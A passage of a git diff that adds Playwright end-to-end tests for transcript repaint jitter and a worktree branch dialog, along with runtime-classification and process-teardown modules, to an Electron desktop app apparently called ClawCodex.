+  fs.writeFileSync(info.outputPath(`${outputName}-expected.png`), expected)
+  fs.writeFileSync(info.outputPath(`${outputName}-diff.png`), Buffer.from(comparison.diff, 'base64'))
+  console.log(
+    `[visual-diff] ${name ?? '(unnamed)'} — ${(comparison.mismatchRatio * 100).toFixed(2)}% of pixels differ`,
+  )
+}
diff --git a/ui-desktop/e2e/warm-resume-jitter.spec.ts b/ui-desktop/e2e/warm-resume-jitter.spec.ts
new file mode 100644
index 000000000..5caa888e3
--- /dev/null
+++ b/ui-desktop/e2e/warm-resume-jitter.spec.ts
@@ -0,0 +1,460 @@
+/**
+ * E2E regression: warm-route resume must not re-render the transcript more
+ * than once.
+ *
+ * When a session is already in the runtime-id cache (the "warm" path in
+ * `resumeSession()`), clicking its sidebar row should paint the transcript
+ * exactly once. Before the fix, the warm cache painted via
+ * `syncSessionStateToView`, then the `session.activate` RPC returned a
+ * reconciled message list with different message object references, causing
+ * `syncSessionStateToView` to fire a second `setMessages` — a visual
+ * flicker as the transcript DOM was updated.
+ *
+ * This test pre-seeds a 32-message session into state.db, boots the app,
+ * clicks the session (cold resume — populates the warm cache), navigates
+ * away to a new chat, then clicks back (warm resume). Two detectors run:
+ *
+ * 1. A MutationObserver counts additive DOM mutation bursts (childList
+ *    additions). More than 1 burst = the transcript was repainted.
+ *
+ * 2. A 2ms innerHTML-length poll counts "reconciles" — DOM content changes
+ *    that happen AFTER the initial paint, while messages are already on
+ *    screen. This catches the case where React reconciles by key without
+ *    adding/removing nodes (same keys → in-place prop update → no
+ *    MutationObserver burst), but `$messages` was still set twice.
+ *
+ * The test passes when bursts === 1 AND reconciles === 0.
+ * The sidebar "+" keeps the session warm in another tab. Its reactivation
+ * follows the same contract: one additive paint and zero reconciles.
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { expect, test } from './test'
+
+import {
+  type MockBackendFixture,
+  waitForAppReady,
+  createSandbox,
+  writeMockProviderConfig,
+  writeEnvFile,
+  buildAppEnv,
+  launchDesktop,
+} from './fixtures'
+import { startMockServer } from './mock-server'
+import { RealSessionBuilder } from './real-session-builder'
+
+const SESSION_TITLE = 'E2E Warm Resume Jitter Test'
+
+// Inactive tabs stay mounted under a data-pane-hidden ancestor. Match the
+// renderer's keep-alive visibility policy instead of relying on DOM order.
+const SURFACE = '[data-composer-target]:not([data-pane-hidden] [data-composer-target])'
+const ALL_SURFACES = '[data-composer-target]'
+/** 32 messages (16 user/assistant pairs) — enough DOM churn for detection. */
+const MESSAGE_COUNT = 32
+/** Seeded PRNG so the generated content is deterministic across runs. */
+const RNG_SEED = 42
+
+/** Mulberry32 — tiny deterministic PRNG. */
+function mulberry32(seed: number): () => number {
+  let a = seed
+  return () => {
+    a |= 0
+    a = (a + 0x6d2b79f5) | 0
+    let t = Math.imul(a ^ (a >>> 15), 1 | a)
+    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t
+    return ((t ^ (t >>> 14)) >>> 0) / 4294967296
+  }
+}
+
+/** Generate ~40 chars of gibberish from a seeded PRNG. */
+function gibberish(rng: () => number): string {
+  const len = 30 + Math.floor(rng() * 20)
+  let s = ''
+  for (let i = 0; i < len; i++) {
+    s += String.fromCharCode(97 + Math.floor(rng() * 26))
+  }
+  return s
+}
+
+/** First user message — used as a wait target in the test. */
+const FIRST_USER_MSG = gibberish(mulberry32(RNG_SEED))
+
+/**
+ * Generate the user turns for a real session. The mock provider produces the
+ * assistant side of each pair through the normal AIAgent persistence path.
+ */
+function generateSessionTurns(): string[] {
+  const rng = mulberry32(RNG_SEED)
+  const turns: string[] = []
+
+  for (let i = 0; i < MESSAGE_COUNT / 2; i++) {
+    turns.push(gibberish(rng))
+    gibberish(rng)
+  }
+
+  return turns
+}
+
+/**
+ * Set up a mock-backend sandbox with a real persisted session in state.db.
+ *
+ * Unlike the shared `setupMockBackend()`, this variant creates the session
+ * through the real stdio gateway before launching desktop so the session is
+ * visible in the sidebar on first load.
+ */
+async function setupSeededMockBackend(): Promise<MockBackendFixture> {
+  // 1. Start mock server
+  const mock = await startMockServer()
+
+  // 2. Create sandbox + write config
+  const sandbox = createSandbox('warm-seed')
+  writeMockProviderConfig(sandbox.clawcodexHome, mock.url)
+  writeEnvFile(sandbox.clawcodexHome)
+
+  // 3. Produce all 16 user/assistant pairs through the real TUI gateway,
+  // AIAgent, mock provider, and SessionDB persistence path before desktop starts.
+  const builder = await RealSessionBuilder.start(sandbox.clawcodexHome)
+  try {
+    await builder.createSession({ title: SESSION_TITLE, turns: generateSessionTurns() })
+  } finally {
+    await builder.close()
+  }
+
+  // 4. Build env + launch
+  const env = buildAppEnv(sandbox)
+  const { app, page } = await launchDesktop(env)
+
+  return {
+    app,
+    page,
+    mock,
+    mockUrl: mock.url,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      await mock.close()
+      sandbox.cleanup()
+    },
+  }
+}
+
+let fixture: MockBackendFixture | null = null
+
+test.beforeAll(async () => {
+  fixture = await setupSeededMockBackend()
+  await waitForAppReady(fixture!, 120_000)
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+/**
+ * Install a MutationObserver + text-content poll on the thread viewport
+ * to detect re-renders after the initial paint. Returns nothing — call
+ * `readRenderCount` to stop and collect results.
+ *
+ * - MutationObserver: counts additive childList bursts (5ms coalescing).
+ * - Text-content poll: counts "reconciles" — first-message text changes
+ *   after the initial paint, catching key-based reconciles that don't
+ *   add/remove nodes.
+ */
+async function installRenderCounter(
+  page: import('@playwright/test').Page,
+  transcriptText?: string,
+): Promise<void> {
+  await page.evaluate(([visibleSelector, allSelector, expected]: [string, string, string | undefined]) => {
+    const surfaces = [...document.querySelectorAll(expected ? allSelector : visibleSelector)]
+    const surface = expected
+      ? surfaces.find(candidate =>
+          (candidate.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+        )
+      : surfaces.at(-1)
+    const viewport = surface?.querySelector('[data-slot="aui_thread-viewport"]')
+    if (!viewport) {
+      throw new Error('Thread viewport not found before warm resume')
+    }
+
+    const state = { bursts: 0, mutations: 0, timeline: [] as number[], stopped: false, reconciles: 0 }
+    const debugWindow = window as unknown as {
+      __RENDER_COUNT__: typeof state
+      __RENDER_VIEWPORT__: Element
+    }
+    debugWindow.__RENDER_COUNT__ = state
+    debugWindow.__RENDER_VIEWPORT__ = viewport
+
+    let currentBatch = 0
+    let flushTimer: ReturnType<typeof setTimeout> | null = null
+
+    const flush = () => {
+      flushTimer = null
+      if (currentBatch > 0 && !state.stopped) {
+        state.bursts += 1
+        state.timeline.push(currentBatch)
+        currentBatch = 0
+      }
+    }
+
+    const observer = new MutationObserver(records => {
+      if (state.stopped) return
+      let batchAdded = 0
+      for (const record of records) {
+        state.mutations += 1
+        if (record.type === 'childList' && record.addedNodes.length > 0) {
+          batchAdded += 1
+        }
+      }
+      if (batchAdded > 0) {
+        currentBatch += batchAdded
+        if (flushTimer) clearTimeout(flushTimer)
+        flushTimer = setTimeout(flush, 5)
+      }
+    })
+
+    observer.observe(viewport, {
+      childList: true,
+      subtree: true,
+      attributes: false,
+      characterData: false,
+    })
+
+    // Poll the first message's text content every 2ms. The MutationObserver
+    // only catches childList additions; React may reconcile by key without
+    // adding/removing nodes (same keys → in-place prop update → no childList
+    // mutation). The poll catches this by detecting text content changes in
+    // the first message after the initial paint. Metadata-only changes (model
+    // name, busy indicator) don't affect message text, so they don't produce
+    // false positives.
+    const contentEl = viewport.querySelector('[data-slot="aui_thread-content"]') ?? viewport
+    let lastFirstMsgText = ''
+    let hasMessages = false
+    const pollInterval = setInterval(() => {
+      if (state.stopped) {
+        clearInterval(pollInterval)
+        return
+      }
+      const firstMsg = contentEl.querySelector('[data-role="message"], [data-message-id]')
+      const firstMsgText = firstMsg?.textContent ?? ''
+      if (firstMsgText && firstMsgText !== lastFirstMsgText) {
+        if (hasMessages) {
+          state.reconciles = (state.reconciles ?? 0) + 1
+        }
+        lastFirstMsgText = firstMsgText
+        hasMessages = true
+      }
+    }, 2)
+  }, [SURFACE, ALL_SURFACES, transcriptText] as [string, string, string | undefined])
+}
+
+/** Wait until the ACTIVE chat surface's transcript contains `text`. */
+async function waitForActiveTranscriptText(
+  page: import('@playwright/test').Page,
+  text: string,
+  timeout = 30_000,
+): Promise<void> {
+  await page.waitForFunction(
+    ([expected, surfaceSelector]: [string, string]) => {
+      const surfaces = document.querySelectorAll(surfaceSelector)
+      const active = surfaces[surfaces.length - 1]
+
+      return (active?.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected)
+    },
+    [text, SURFACE] as [string, string],
+    { timeout },
+  )
+}
+
+async function waitForActiveTranscriptWithoutText(
+  page: import('@playwright/test').Page,
+  text: string,
+): Promise<void> {
+  await page.waitForFunction(
+    ([expected, surfaceSelector]: [string, string]) => {
+      const surfaces = document.querySelectorAll(surfaceSelector)
+      const active = surfaces[surfaces.length - 1]
+
+      return !(active?.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected)
+    },
+    [text, SURFACE] as [string, string],
+    { timeout: 15_000 },
+  )
+}
+
+/** Replace the primary surface with a draft while retaining its warm cache. */
+async function openFreshDraft(page: import('@playwright/test').Page, priorText: string): Promise<void> {
+  await page.keyboard.press(process.platform === 'darwin' ? 'Meta+N' : 'Control+N')
+  await waitForActiveTranscriptWithoutText(page, priorText)
+}
+
+/** Stack an empty tab while leaving the current transcript mounted and warm. */
+async function openNewSessionTab(page: import('@playwright/test').Page, priorText: string): Promise<void> {
+  await page.locator('[data-slot="sidebar"] button[aria-label="New session"]').first().click()
+  await waitForActiveTranscriptWithoutText(page, priorText)
+}
+
+/** Stop the render counter and return the recorded burst/reconcile counts. */
+async function readRenderCount(page: import('@playwright/test').Page): Promise<{
+  bursts: number
+  mutations: number
+  timeline: number[]
+  reconciles: number
+} | null> {
+  return page.evaluate(() => {
+    type RenderCount = { bursts: number; mutations: number; timeline: number[]; stopped: boolean; reconciles: number }
+    const w = window as unknown as { __RENDER_COUNT__?: RenderCount }
+    const rc = w.__RENDER_COUNT__
+    if (rc) {
+      rc.stopped = true
+    }
+    return rc ? { bursts: rc.bursts, mutations: rc.mutations, timeline: rc.timeline, reconciles: rc.reconciles } : null
+  })
+}
+
+async function observedViewportIsActive(page: import('@playwright/test').Page): Promise<boolean> {
+  return page.evaluate((surfaceSelector: string) => {
+    const surfaces = document.querySelectorAll(surfaceSelector)
+    const activeViewport = surfaces[surfaces.length - 1]?.querySelector('[data-slot="aui_thread-viewport"]')
+    const observedViewport = (window as unknown as { __RENDER_VIEWPORT__?: Element }).__RENDER_VIEWPORT__
+
+    return activeViewport === observedViewport
+  }, SURFACE)
+}
+
+/** A kept-alive tab must become visible without rebuilding its transcript. */
+function assertNoRepaint(result: { bursts: number; mutations: number; timeline: number[]; reconciles: number } | null): void {
+  expect(result, 'MutationObserver should have recorded render data').toBeTruthy()
+  expect(
+    result!.bursts,
+    `Expected no additive render bursts for a kept-alive tab, but got ${result!.bursts}. ` +
+      `Mutation timeline: ${JSON.stringify(result!.timeline)}.`,
+  ).toBe(0)
+  expect(
+    result!.reconciles,
+    `Expected no transcript reconciles for a kept-alive tab, but got ${result!.reconciles}.`,
+  ).toBe(0)
+}
+
+/** Assert the render counter shows exactly one paint with no re-renders. */
+function assertNoJitter(result: { bursts: number; mutations: number; timeline: number[]; reconciles: number } | null): void {
+  expect(result, 'MutationObserver should have recorded render data').toBeTruthy()
+  expect(
+    result!.bursts,
+    `Expected 1 additive render burst (single paint), but got ${result!.bursts} bursts. ` +
+      `Mutation timeline: ${JSON.stringify(result!.timeline)}.`,
+  ).toBe(1)
+  expect(
+    result!.reconciles,
+    `Expected 0 reconciles (no re-render after initial paint), but got ${result!.reconciles}. ` +
+      `This means the warm-route resume re-rendered the transcript after the initial paint ` +
+      `— the "warm resume jitter" bug is present.`,
+  ).toBe(0)
+}
+
+test('tab reactivation preserves the mounted transcript without repainting', async ({}, testInfo) => {
+  const page = fixture!.page
+
+  // Wait for the sidebar to populate with our seeded session.
+  const sessionRow = page
+    .locator('[data-slot="sidebar"] button')
+    .filter({ hasText: SESSION_TITLE })
+    .first()
+  await sessionRow.waitFor({ state: 'visible', timeout: 60_000 })
+
+  // Step 1: Cold resume — click the session row to load it.
+  // This populates the warm cache (runtimeIdByStoredSessionId + sessionStateByRuntimeId).
+  await sessionRow.click()
+
+  // Wait for the transcript to appear — the first user message text confirms
+  // the cold-path prefetch painted.
+  await waitForActiveTranscriptText(page, FIRST_USER_MSG)
+
+  // Wait for the session to fully settle (cold-path RPC + reconciliation).
+  await page.waitForTimeout(2_000)
+
+  // Stack a new tab, then observe the seeded transcript while it is hidden.
+  // Installing after the switch isolates reactivation from mutations caused
+  // while the new tab was being created.
+  await openNewSessionTab(page, FIRST_USER_MSG)
+  await page.waitForTimeout(500)
+  await installRenderCounter(page, FIRST_USER_MSG)
+
+  // Step 3: Click back and verify the same kept-alive viewport becomes active
+  // without rebuilding or reconciling its transcript.
+  await sessionRow.click()
+
+  await waitForActiveTranscriptText(page, FIRST_USER_MSG)
+  await page.waitForTimeout(2_000)
+  expect(await observedViewportIsActive(page), 'Reactivation should reveal the observed kept-alive viewport').toBe(true)
+
+  const result = await readRenderCount(page)
+  await page.screenshot({ path: testInfo.outputPath('warm-resume-idle.png') })
+  assertNoRepaint(result)
+})
+
+test('warm-route resume after background inference completes (no jitter)', async ({}, testInfo) => {
+  test.fixme(
+    true,
+    'Warm resume repaints after inference: expected one additive burst, got two ([18,1]).',
+  )
+
+  const page = fixture!.page
+  const { mock } = fixture!
+
+  // Wait for the sidebar to populate with our seeded session.
+  const sessionRow = page
+    .locator('[data-slot="sidebar"] button')
+    .filter({ hasText: SESSION_TITLE })
+    .first()
+  await sessionRow.waitFor({ state: 'visible', timeout: 60_000 })
+
+  // Step 1: Cold resume — populate the warm cache.
+  await sessionRow.click()
+  await waitForActiveTranscriptText(page, FIRST_USER_MSG)
+  await page.waitForTimeout(2_000)
+
+  // Step 2: Send a message — triggers inference via the mock server.
+  const PROMPT = 'E2E post-inference warm resume test prompt'
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.click()
+  await composer.type(PROMPT, { delay: 10 })
+  await page.keyboard.press('Enter')
+
+  // Wait for the mock response to appear in the transcript, confirming
+  // the turn completed and message.complete fired (which updates the warm
+  // cache via updateSessionState).
+  await waitForActiveTranscriptText(page, 'mock inference server', 60_000)
+  // Extra settle for message.complete → updateSessionState → cache write.
+  await page.waitForTimeout(2_000)
+
+  // Verify the prompt was received by the mock server.
+  expect(mock.receivedPrompts).toContain(PROMPT)
+
+  // Step 3: Replace the primary chat; the warm cache retains the updated messages.
+  await openFreshDraft(page, PROMPT)
+  await page.waitForTimeout(500)
+
+  // Step 4: Install render counter, click back (warm resume), wait, assert.
+  await installRenderCounter(page)
+  await sessionRow.click()
+
+  // Wait for the transcript to reappear — the warm cache should already
+  // have the completed turn (updated by message.complete events).
+  await waitForActiveTranscriptText(page, FIRST_USER_MSG)
+
+  // Wait for at least 1 burst, then settle.
+  await page.waitForFunction(
+    () => {
+      const w = window as unknown as { __RENDER_COUNT__?: { bursts: number } }
+      return Boolean(w.__RENDER_COUNT__ && w.__RENDER_COUNT__.bursts > 0)
+    },
+    undefined,
+    { timeout: 10_000 },
+  )
+  await page.waitForTimeout(2_000)
+
+  const result = await readRenderCount(page)
+  await page.screenshot({ path: testInfo.outputPath('warm-resume-post-inference.png') })
+  assertNoJitter(result)
+})
diff --git a/ui-desktop/e2e/worktree-branch-status.spec.ts b/ui-desktop/e2e/worktree-branch-status.spec.ts
new file mode 100644
index 000000000..ecb112bd1
--- /dev/null
+++ b/ui-desktop/e2e/worktree-branch-status.spec.ts
@@ -0,0 +1,243 @@
+import { execFileSync } from 'node:child_process'
+import * as fs from 'node:fs'
+import * as path from 'node:path'
+
+import {
+  buildAppEnv,
+  createSandbox,
+  launchDesktop,
+  type MockBackendFixture,
+  waitForAppReady,
+  writeEnvFile,
+  writeMockProviderConfig,
+} from './fixtures'
+import { startMockServer } from './mock-server'
+import { expect, test } from './test'
+import { expectVisualSnapshot } from './visual-snapshot'
+
+const BRANCH_NAME = 'e2e-composer-branch'
+
+/**
+ * Enough branches to make both the base-branch popover and the convert-branch
+ * list taller than their default height. That is the condition in which the
+ * dialog's own scroll box clips the popover, and that regression is what the
+ * visual snapshots here guard against.
+ */
+const EXTRA_BRANCHES = [
+  'feature/alpha-one',
+  'feature/beta-two',
+  'feature/gamma-three',
+  'fix/delta-four',
+  'fix/epsilon-five',
+  'chore/zeta-six',
+  'chore/eta-seven',
+  'spike/theta-eight',
+  'spike/iota-nine',
+  'release/kappa-ten',
+]
+
+function createGitRepo(root: string): string {
+  const repo = path.join(root, 'repo')
+
+  fs.mkdirSync(repo, { recursive: true })
+  execFileSync('git', ['init', '--initial-branch=main'], { cwd: repo })
+  execFileSync('git', ['config', 'user.email', 'e2e@example.com'], { cwd: repo })
+  execFileSync('git', ['config', 'user.name', 'ClawCodex E2E'], { cwd: repo })
+  fs.writeFileSync(path.join(repo, 'README.md'), '# E2E repo\n', 'utf8')
+  execFileSync('git', ['add', 'README.md'], { cwd: repo })
+  execFileSync('git', ['commit', '-m', 'initial'], { cwd: repo })
+
+  for (const branch of EXTRA_BRANCHES) {
+    execFileSync('git', ['branch', branch], { cwd: repo })
+  }
+
+  return repo
+}
+
+function configureRepoCwd(clawcodexHome: string, mockUrl: string, repo: string): void {
+  writeMockProviderConfig(clawcodexHome, mockUrl)
+  fs.appendFileSync(path.join(clawcodexHome, 'config.yaml'), `\nterminal:\n  cwd: ${repo}\n`, 'utf8')
+  writeEnvFile(clawcodexHome)
+}
+
+let fixture: MockBackendFixture | null = null
+
+/** A dialog renders as `[data-slot="dialog-content"]` (components/ui/dialog.tsx). */
+const DIALOG = '[data-slot="dialog-content"]'
+
+/** Open the worktree dialog with the global ⌘⇧B / ctrl+shift+B hotkey. */
+async function openWorktreeDialog(): Promise<void> {
+  const page = fixture!.page
+  await page.keyboard.press('Control+Shift+B')
+  await expect(page.locator(DIALOG)).toBeVisible()
+}
+
+/** Close the open dialog and wait until it leaves the DOM. */
+async function closeDialog(): Promise<void> {
+  const page = fixture!.page
+  await page.keyboard.press('Escape')
+  await expect(page.locator(DIALOG)).toHaveCount(0)
+}
+
+test.beforeAll(async () => {
+  const sandbox = createSandbox('worktree-branch-status')
+  const repo = createGitRepo(sandbox.root)
+  const mock = await startMockServer()
+
+  configureRepoCwd(sandbox.clawcodexHome, mock.url, repo)
+
+  const { app, page } = await launchDesktop(buildAppEnv(sandbox))
+  fixture = {
+    app,
+    page,
+    mock,
+    mockUrl: mock.url,
+    sandbox,
+    cleanup: async () => {
+      await app.close().catch(() => undefined)
+      await mock.close()
+      sandbox.cleanup()
+    },
+  }
+
+  await waitForAppReady(fixture, 120_000)
+
+  // The coding rail, and thus the ⌘⇧B worktree dialog, mounts only after the
+  // session resolves a cwd that holds a repo. This happens on the first turn.
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.click()
+  await composer.type('create a repo-backed e2e session', { delay: 2 })
+  await page.keyboard.press('Enter')
+  await page.waitForFunction(
+    prompt => (document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(prompt),
+    'create a repo-backed e2e session',
+    { timeout: 15_000 },
+  )
+  await expect(page.locator('.coding-status-bar')).toContainText('main')
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test('worktree dialog renders the base-branch picker over the dialog, not clipped by it', async () => {
+  const page = fixture!.page
+
+  await openWorktreeDialog()
+
+  // Open the base-branch combobox. With 11 branches, the list is taller than
+  // the space below the trigger. A popover that portals into the dialog's
+  // `overflow-y-auto` box is therefore cut off. This snapshot catches that bug.
+  await page.getByRole('button', { name: /branch off/i }).click()
+  await expect(page.getByPlaceholder('Search branches…')).toBeVisible()
+  await expect(page.getByRole('option', { name: 'feature/alpha-one' })).toBeVisible()
+
+  await expectVisualSnapshot(page, { name: 'worktree-dialog-base-branch-picker', app: fixture!.app })
+
+  // This check does not depend on pixels: the dialog's scroll box must not crop
+  // the painted box of the popover. Measure the geometry, so a headless run
+  // fails on this regression before a person looks at a diff image.
+  const clipped = await page.evaluate(() => {
+    const popover = document.querySelector('[data-slot="popover-content"]')
+    const dialog = document.querySelector('[data-slot="dialog-content"]')
+
+    if (!popover || !dialog) {
+      return { reason: 'missing', clipped: true }
+    }
+
+    const p = popover.getBoundingClientRect()
+    const d = dialog.getBoundingClientRect()
+    const scrolls = window.getComputedStyle(dialog).overflowY
+
+    return {
+      reason: 'measured',
+      // Only a clipping ancestor can crop the popover. The popover is cut when
+      // the dialog scrolls its overflow AND the popover goes past the box of
+      // the dialog.
+      clipped: (scrolls === 'auto' || scrolls === 'scroll' || scrolls === 'hidden') &&
+        (p.bottom > d.bottom + 1 || p.top < d.top - 1 || p.right > d.right + 1 || p.left < d.left - 1),
+    }
+  })
+
+  expect(clipped.clipped, `base-branch popover is clipped by the dialog (${clipped.reason})`).toBe(false)
+
+  await page.keyboard.press('Escape')
+  await closeDialog()
+})
+
+test('worktree dialog convert-an-existing-branch sub-view lists the repo branches', async () => {
+  const page = fixture!.page
+
+  await openWorktreeDialog()
+  await page.getByRole('button', { name: 'Convert an existing branch' }).click()
+
+  await expect(page.getByPlaceholder('Search branches…')).toBeVisible()
+  await expect(page.getByRole('option', { name: /feature\/alpha-one/ })).toBeVisible()
+
+  await expectVisualSnapshot(page, { name: 'worktree-dialog-convert-branch', app: fixture!.app })
+
+  await closeDialog()
+})
+
+test('creating a branch with ctrl-shift-b updates the composer git-status branch and leaves no dialog behind', async ({}, testInfo) => {
+  const page = fixture!.page
+  const codingRow = page.locator('.coding-status-bar')
+
+  await openWorktreeDialog()
+  // Exactly one dialog instance. A second dialog here, hidden or empty, is the
+  // symptom of the double-open bug.
+  await expect(page.locator(DIALOG)).toHaveCount(1)
+
+  const branchInput = page.locator('input[placeholder="e.g. my-feature"]').first()
+  await expect(branchInput).toBeVisible()
+  await branchInput.fill(BRANCH_NAME)
+  // Select a base branch, so this test uses the same path as the user: open the
+  // picker, select a branch, then submit. It does not use the default value.
+  // The keyboard drives this step. The dialog still clips the popover, so a
+  // mouse click on an option is not reliable until that bug is corrected. The
+  // double-open check below is therefore independent of the clipping bug.
+  await page.getByRole('button', { name: /branch off/i }).click()
+  await page.getByPlaceholder('Search branches…').fill('main')
+  await expect(page.getByRole('option', { name: 'main' }).first()).toBeVisible()
+  await page.keyboard.press('Enter')
+  await expect(page.locator('[data-slot="popover-content"]')).toHaveCount(0)
+
+  await page.getByRole('button', { name: 'New worktree' }).click()
+
+  await expect(codingRow).toContainText(BRANCH_NAME, { timeout: 15_000 })
+
+  // The dialog must close and stay closed. No empty second dialog can remain
+  // after the new worktree session starts.
+  await expect(page.locator(DIALOG)).toHaveCount(0)
+  await page.waitForTimeout(2000)
+  await expect(page.locator(DIALOG)).toHaveCount(0)
+
+  await page.screenshot({ path: testInfo.outputPath('composer-branch-after-create.png') })
+})
+
+test('ctrl-shift-b opens exactly one worktree dialog when a second composer is on screen', async ({}, testInfo) => {
+  const page = fixture!.page
+
+  // ⌘T / ctrl+T stacks a second session tile. That gives a second live composer
+  // and therefore a second coding rail. Each rail mounted its own
+  // WorktreeDialog, and each rail subscribed to the same global token. One
+  // keypress therefore opened two stacked dialogs, and the dialog the user
+  // dismissed showed an identical empty one behind it. One mount in the sidebar
+  // makes that impossible by structure.
+  await page.keyboard.press('Control+T')
+  await expect(page.locator('.coding-status-bar')).toHaveCount(2, { timeout: 20_000 })
+
+  await page.keyboard.press('Control+Shift+B')
+  await expect(page.locator(DIALOG).first()).toBeVisible()
+  // Wait: let the effect of every subscriber flush before the count.
+  await page.waitForTimeout(500)
+
+  const count = await page.locator(DIALOG).count()
+  await page.screenshot({ path: testInfo.outputPath('worktree-dialog-two-composers.png') })
+
+  expect(count, 'one hotkey press must open exactly one worktree dialog').toBe(1)
+
+  // A dismissal then leaves nothing behind.
+  await closeDialog()
+})
diff --git a/ui-desktop/electron/active-runtime-state.test.ts b/ui-desktop/electron/active-runtime-state.test.ts
new file mode 100644
index 000000000..afc3e74b9
--- /dev/null
+++ b/ui-desktop/electron/active-runtime-state.test.ts
@@ -0,0 +1,60 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { classifyActiveRuntime, hasValidBootstrapMarker } from './active-runtime-state'
+
+const VALID_MARKER = {
+  pinnedCommit: '1234567890abcdef1234567890abcdef12345678',
+  schemaVersion: 1
+}
+
+test('hasValidBootstrapMarker accepts the current schema with a real-looking commit', () => {
+  assert.equal(hasValidBootstrapMarker(VALID_MARKER, 1), true)
+})
+
+test('hasValidBootstrapMarker rejects missing, wrong-schema, and too-short markers', () => {
+  assert.equal(hasValidBootstrapMarker(null, 1), false)
+  assert.equal(hasValidBootstrapMarker({ schemaVersion: 2, pinnedCommit: VALID_MARKER.pinnedCommit }, 1), false)
+  assert.equal(hasValidBootstrapMarker({ schemaVersion: 1, pinnedCommit: 'abc123' }, 1), false)
+})
+
+test('classifyActiveRuntime uses a healthy active runtime even when the bootstrap marker is missing', () => {
+  assert.deepEqual(classifyActiveRuntime(null, 1, true), {
+    hasValidMarker: false,
+    shouldUseActiveRuntime: true,
+    usabilityReason: 'usable'
+  })
+})
+
+test('classifyActiveRuntime uses a healthy active runtime even when the marker is stale or malformed', () => {
+  assert.deepEqual(classifyActiveRuntime({ schemaVersion: 999, pinnedCommit: 'abc1234' }, 1, true), {
+    hasValidMarker: false,
+    shouldUseActiveRuntime: true,
+    usabilityReason: 'usable'
+  })
+})
+
+test('classifyActiveRuntime refuses an unusable runtime even if a valid marker exists', () => {
+  assert.deepEqual(classifyActiveRuntime(VALID_MARKER, 1, false), {
+    hasValidMarker: true,
+    shouldUseActiveRuntime: false,
+    usabilityReason: 'unusable'
+  })
+})
+
+test('a CLI-installed runtime with no marker launches instead of re-running bootstrap', () => {
+  // The reported symptom (#60721): install.sh / install.ps1 produced a healthy
+  // repo+venv, no desktop-managed marker was ever written, and every launch
+  // dropped the user back into the first-run installer.
+  const state = classifyActiveRuntime(null, 1, true)
+
+  assert.equal(state.shouldUseActiveRuntime, true, 'a usable runtime must launch')
+  assert.equal(state.hasValidMarker, false, 'marker provenance stays honest')
+})
+
+test('a repair that deleted the marker does not strand a healthy install', () => {
+  // #72166: the repair handler clears the marker unconditionally. Runtime
+  // usability, not marker presence, must decide the next boot.
+  assert.equal(classifyActiveRuntime(null, 1, true).shouldUseActiveRuntime, true)
+})
diff --git a/ui-desktop/electron/active-runtime-state.ts b/ui-desktop/electron/active-runtime-state.ts
new file mode 100644
index 000000000..7f7828455
--- /dev/null
+++ b/ui-desktop/electron/active-runtime-state.ts
@@ -0,0 +1,58 @@
+export interface BootstrapMarkerLike {
+  pinnedCommit?: unknown
+  schemaVersion?: unknown
+}
+
+export interface ActiveRuntimeState {
+  hasValidMarker: boolean
+  shouldUseActiveRuntime: boolean
+  usabilityReason: 'usable' | 'unusable'
+}
+
+export function hasValidBootstrapMarker(
+  marker: BootstrapMarkerLike | null | undefined,
+  schemaVersion: number
+): boolean {
+  if (!marker || typeof marker !== 'object') {
+    return false
+  }
+
+  if (marker.schemaVersion !== schemaVersion) {
+    return false
+  }
+
+  if (typeof marker.pinnedCommit !== 'string' || marker.pinnedCommit.length < 7) {
+    return false
+  }
+
+  return true
+}
+
+// The active install at ~/.clawcodex/clawcodex can be real and runnable even if
+// Desktop never wrote its first-run bootstrap marker (for example when ClawCodex
+// was installed by the CLI first, or when a past desktop build forgot the
+// marker). Runtime usability is authoritative for "can we launch local ClawCodex
+// right now?"; the marker is only provenance about how that install was
+// created. A missing/stale marker must never force a healthy local install into
+// the first-run bootstrap UI.
+export function classifyActiveRuntime(
+  marker: BootstrapMarkerLike | null | undefined,
+  schemaVersion: number,
+  runtimeUsable: boolean
+): ActiveRuntimeState {
+  const hasValidMarker = hasValidBootstrapMarker(marker, schemaVersion)
+
+  if (!runtimeUsable) {
+    return {
+      hasValidMarker,
+      shouldUseActiveRuntime: false,
+      usabilityReason: 'unusable'
+    }
+  }
+
+  return {
+    hasValidMarker,
+    shouldUseActiveRuntime: true,
+    usabilityReason: 'usable'
+  }
+}
diff --git a/ui-desktop/electron/backend-child.ts b/ui-desktop/electron/backend-child.ts
new file mode 100644
index 000000000..4831deca3
--- /dev/null
+++ b/ui-desktop/electron/backend-child.ts
@@ -0,0 +1,55 @@
+/**
+ * backend-child.ts
+ *
+ * Windows-aware teardown for the desktop's managed backend child process.
+ *
+ * Node's `child.kill()` only signals the direct child. On Windows a backend
+ * that spawned its own grandchildren (a `clawcodex` REPL, a pty terminal
+ * session, the gateway) survives a plain SIGTERM and keeps files (e.g. the
+ * venv shim) locked. So on Windows we tree-kill via `forceKillProcessTree`;
+ * everywhere else a plain SIGTERM is correct and sufficient (POSIX has no
+ * mandatory locks, and the backend is not spawned detached so there's no
+ * process-group to negative-pid-kill).
+ *
+ * Extracted into its own dependency-free module (no electron import) so the
+ * SIGTERM-vs-tree-kill branching can be asserted directly with a fake child
+ * object and a spy `forceKillProcessTree`, instead of grepping main.ts source
+ * text for the function body.
+ */
+
+export interface StopBackendChildDeps {
+  /** Defaults to the real platform check; injectable for tests. */
+  isWindows?: boolean
+  /** Windows tree-kill implementation (real: taskkill /T /F via execFileSync). */
+  forceKillProcessTree: (pid: number) => void
+}
+
+export interface KillableChild {
+  pid?: number | null
+  killed?: boolean
+  kill: (signal: string) => void
+}
+
+/**
+ * Stop a managed child process, choosing the right strategy for the platform.
